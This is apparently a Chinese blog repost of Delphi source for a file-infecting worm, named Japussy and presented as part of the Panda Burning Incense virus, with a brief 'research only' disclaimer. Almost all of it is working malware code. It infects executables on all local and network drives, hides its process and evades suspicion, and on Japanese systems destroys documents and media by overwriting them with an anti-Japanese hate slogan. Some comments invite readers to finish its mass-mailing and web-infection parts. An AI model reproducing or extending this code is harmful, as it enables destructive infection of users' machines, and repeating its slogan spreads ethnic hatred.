熊猫烧香的部分核心源码

from:lengmo blog

本代码仅供技术研究使用,请勿用于非法用途!

program Japussy;
uses
 Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
 HeaderSize = 82432; //病毒体的大小
 IconOffset = $12EB8; //PE文件主图标的偏移量
 
 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
 //查找2800000020的十六进制字符串可以找到主图标的偏移量
 
{
 HeaderSize = 38912; //Upx压缩过病毒体的大小
 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
 
 //Upx 1.24W 用法: upx -9 –8086 Japussy.exe
}
 IconSize = $2E8; //PE文件主图标的大小–744字节
 IconTail = IconOffset + IconSize; //PE文件主图标的尾部
 ID = $44444444; //感染标记
 
 //垃圾码,以备写入
 Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ +
 ‘If a country need to be destroyed, it must be Japan! ‘ +
 ‘*** W32.Japussy.Worm.A ***’;
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
 stdcall; external ‘Kernel32.dll’; //函数声明
var
 TmpFile: string;
 Si: STARTUPINFO;
 Pi: PROCESS_INFORMATION;
 IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
 Ver: TOSVersionInfo;
begin
 Result := False;
 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
 if not GetVersionEx(Ver) then
 Exit;
 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
 Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
 dStartPos: Integer; Count: Integer);
var
 sCurPos, dCurPos: Integer;
begin
 sCurPos := Src.Position;
 dCurPos := Dst.Position;
 Src.Seek(sStartPos, 0);
 Dst.Seek(dStartPos, 0);
 Dst.CopyFrom(Src, Count);
 Src.Seek(sCurPos, 0);
 Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
 sStream, dStream: TFileStream;
begin
 try
 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 dStream := TFileStream.Create(FileName, fmCreate);
 try
 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
 dStream.CopyFrom(sStream, sStream.Size – HeaderSize);
 finally
 dStream.Free;
 end;
 finally
 sStream.Free;
 end;
 except
 end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
 Si.cb := SizeOf(Si);
 Si.lpReserved := nil;
 Si.lpDesktop := nil;
 Si.lpTitle := nil;
 Si.dwFlags := STARTF_USESHOWWINDOW;
 Si.wShowWindow := State;
 Si.cbReserved2 := 0;
 Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
 //哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
 HdrStream, SrcStream: TFileStream;
 IcoStream, DstStream: TMemoryStream;
 iID: LongInt;
 aIcon: TIcon;
 Infected, IsPE: Boolean;
 i: Integer;
 Buf: array[0..1] of Char;
begin
 try //出错则文件正在被使用,退出
 if CompareText(FileName, ‘JAPUSSY.EXE’) = 0 then //是自己则不感染
 Exit;
 Infected := False;
 IsPE := False;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 try
 for i := 0 to $108 do //检查PE文件头
 begin
 SrcStream.Seek(i, soFromBeginning);
 SrcStream.Read(Buf, 2);
 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
 begin
 IsPE := True; //是PE文件
 Break;
 end;
 end;
 SrcStream.Seek(-4, soFromEnd); //检查感染标记
 SrcStream.Read(iID, 4);
 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
 Infected := True;
 finally
 SrcStream.Free;
 end;
 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
 Exit;
 IcoStream := TMemoryStream.Create;
 DstStream := TMemoryStream.Create;
 try
 aIcon := TIcon.Create;
 try
 //得到被感染文件的主图标(744字节),存入流
 aIcon.ReleaseHandle;
 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
 aIcon.SaveToStream(IcoStream);
 finally
 aIcon.Free;
 end;
 SrcStream := TFileStream.Create(FileName, fmOpenRead);
 //头文件
 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
 //写入病毒体主图标之前的数据
 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
 //写入目前程序的主图标
 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
 //写入病毒体主图标到病毒体尾部之间的数据
 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize – IconTail);
 //写入宿主程序
 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
 //写入已感染的标记
 DstStream.Seek(0, 2);
 iID := $44444444;
 DstStream.Write(iID, 4);
 finally
 HdrStream.Free;
 end;
 finally
 SrcStream.Free;
 IcoStream.Free;
 DstStream.SaveToFile(FileName); //替换宿主文件
 DstStream.Free;
 end;
 except;
 end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
 FileHandle: Integer;
 i, Size, Mass, Max, Len: Integer;
begin
 try
 SetFileAttributes(PChar(FileName), 0); //去掉只读属性
 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
 try
 Size := GetFileSize(FileHandle, nil); //文件大小
 i := 0;
 Randomize;
 Max := Random(15); //写入垃圾码的随机次数
 if Max < 5 then
 Max := 5;
 Mass := Size div Max; //每个间隔块的大小
 Len := Length(Catchword);
 while i < Max do
 begin
 FileSeek(FileHandle, i * Mass, 0); //定位
 //写入垃圾码,将文件彻底破坏掉
 FileWrite(FileHandle, Catchword, Len);
 Inc(i);
 end;
 finally
 FileClose(FileHandle); //关闭文件
 end;
 DeleteFile(PChar(FileName)); //删除之
 except
 end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
 DiskType: Word;
 D: Char;
 Str: string;
 i: Integer;
begin
 for i := 0 to 25 do //遍历26个字母
 begin
 D := Chr(i + 65);
 Str := D + ‘:\’;
 DiskType := GetDriveType(PChar(Str));
 //得到本地磁盘和网络盘
 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
 Result := Result + D;
 end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
 i, Count: Integer;
&
nbsp;Fn, Ext: string;
 SubDir: TStrings;
 SearchRec: TSearchRec;
 Msg: TMsg;
 function IsValidDir(SearchRec: TSearchRec): Integer;
 begin
 if (SearchRec.Attr <> 16) and (SearchRec.Name <> ‘.’) and
 (SearchRec.Name <> ‘..’) then
 Result := 0 //不是目录
 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ‘.’) and
 (SearchRec.Name <> ‘..’) then
 Result := 1 //不是根目录
 else Result := 2; //是根目录
 end;
begin
 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
 begin
 repeat
 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
 if IsValidDir(SearchRec) = 0 then
 begin
 Fn := Path + SearchRec.Name;
 Ext := UpperCase(ExtractFileExt(Fn));
 if (Ext = ‘.EXE’) or (Ext = ‘.SCR’) then
 begin
 InfectOneFile(Fn); //感染可执行文件
 end
 else if (Ext = ‘.HTM’) or (Ext = ‘.HTML’) or (Ext = ‘.ASP’) then
 begin
 //感染HTML和ASP文件,将Base64编码后的病毒写入
 //感染浏览此网页的所有用户
 //哪位大兄弟愿意完成之?
 end
 else if Ext = ‘.WAB’ then //Outlook地址簿文件
 begin
 //获取Outlook邮件地址
 end
 else if Ext = ‘.ADC’ then //Foxmail地址自动完成文件
 begin
 //获取Foxmail邮件地址
 end
 else if Ext = ‘IND’ then //Foxmail地址簿文件
 begin
 //获取Foxmail邮件地址
 end
 else
 begin
 if IsJap then //是倭文操作系统
 begin
 if (Ext = ‘.DOC’) or (Ext = ‘.XLS’) or (Ext = ‘.MDB’) or
 (Ext = ‘.MP3’) or (Ext = ‘.RM’) or (Ext = ‘.RA’) or
 (Ext = ‘.WMA’) or (Ext = ‘.ZIP’) or (Ext = ‘.RAR’) or
 (Ext = ‘.MPEG’) or (Ext = ‘.ASF’) or (Ext = ‘.JPG’) or
 (Ext = ‘.JPEG’) or (Ext = ‘.GIF’) or (Ext = ‘.SWF’) or
 (Ext = ‘.PDF’) or (Ext = ‘.CHM’) or (Ext = ‘.AVI’) then
 SmashFile(Fn); //摧毁文件
 end;
 end;
 end;
 //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
 Sleep(200);
 until (FindNext(SearchRec) <> 0);
 end;
 FindClose(SearchRec);
 SubDir := TStringList.Create;
 if (FindFirst(Path + ‘*.*’, faDirectory, SearchRec) = 0) then
 begin
 repeat
 if IsValidDir(SearchRec) = 1 then
 SubDir.Add(SearchRec.Name);
 until (FindNext(SearchRec) <> 0);
 end;
 FindClose(SearchRec);
 Count := SubDir.Count – 1;
 for i := 0 to Count do
 LoopFiles(Path + SubDir.Strings[i] + ‘\’, Mask);
 FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
 DriverList: string;
 i, Len: Integer;
begin
 if GetACP = 932 then //日文操作系统
 IsJap := True; //去死吧!
 DriverList := GetDrives; //得到可写的磁盘列表
 Len := Length(DriverList);
 while True do //死循环
 begin
 for i := Len downto 1 do //遍历每个磁盘驱动器
 LoopFiles(DriverList[i] + ‘:\’, ‘*.*’); //感染之
 SendMail; //发带毒邮件
 Sleep(1000 * 60 * 5); //睡眠5分钟
 end;
end;
{ 主程序开始 }
begin
 if IsWin9x then //是Win9x
 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
 else //WinNT
 begin
 //远程线程映射到Explorer进程
 //哪位兄台愿意完成之?
 end;
 //如果是原始病毒体自己
 if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe’) = 0 then
 InfectFiles //感染和发邮件
 else //已寄生于宿主程序上了,开始工作
 begin
 TmpFile := ParamStr(0); //创建临时文件
 Delete(TmpFile, Length(TmpFile) – 4, 4);
 TmpFile := TmpFile + #32 + ‘.exe’; //真正的宿主文件,多一个空格
 ExtractFile(TmpFile); //分离之
 FillStartupInfo(Si, SW_SHOWDEFAULT);
 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
 0, nil, ‘.’, Si, Pi); //创建新进程运行之
 InfectFiles; //感染和发邮件
 end;
end.